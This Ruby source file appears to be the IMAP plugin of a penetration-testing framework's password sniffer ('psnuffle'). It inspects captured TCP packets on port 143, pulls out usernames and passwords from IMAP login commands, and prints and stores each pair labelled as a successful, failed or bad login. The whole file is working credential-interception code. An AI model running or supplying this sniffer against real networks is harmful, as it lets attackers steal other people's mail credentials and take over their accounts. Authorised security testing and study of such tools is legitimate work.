# Psnuffle password sniffer add-on class for imap # part of psnuffle sniffer auxiliary module # # When db is available reports go into db # Also incorrect credentials are sniffed but marked # as unsuccessful logins... (Typos are common :-) ) # class SnifferIMAP < BaseProtocolParser def register_sigs self.sigs = { :banner => /^(\*\s+OK[^\n\r]*)/si, :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/si, :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/si, :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/si, :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/si } end def parse(pkt) # We want to return immediatly if we do not have a packet which is handled by us return if not pkt[:tcp] return if (pkt[:tcp].src_port != 143 and pkt[:tcp].dst_port != 143) s = find_session((pkt[:tcp].dst_port == 143) ? get_session_src(pkt) : get_session_dst(pkt)) self.sigs.each_key do |k| # There is only one pattern per run to test matched = nil matches = nil if (pkt[:tcp].payload_data =~ self.sigs[k]) matched = k matches = [$1,$2] end case matched when :banner s[:banner] = matches s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}" report_service(s) when :login_pass s[:proto]="imap4" s[:extra]="Sucessful Login. Banner: #{s[:banner]}" report_auth_info(s) print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login_fail s[:proto]="imap4" s[:extra]="Failed Login. Banner: #{s[:banner]}" report_auth_info(s) print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login_bad s[:proto]="imap4" s[:extra]="Failed Login. Banner: #{s[:banner]}" report_auth_info(s) print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") # Remove it form the session objects so freeup sessions.delete(s[:session]) when :login s[:user]=$1 s[:pass]=$2 when nil # No matches, no saved state else sessions[s[:session]].merge!({k => matches}) end # end case matched end # end of each_key end # end of parse end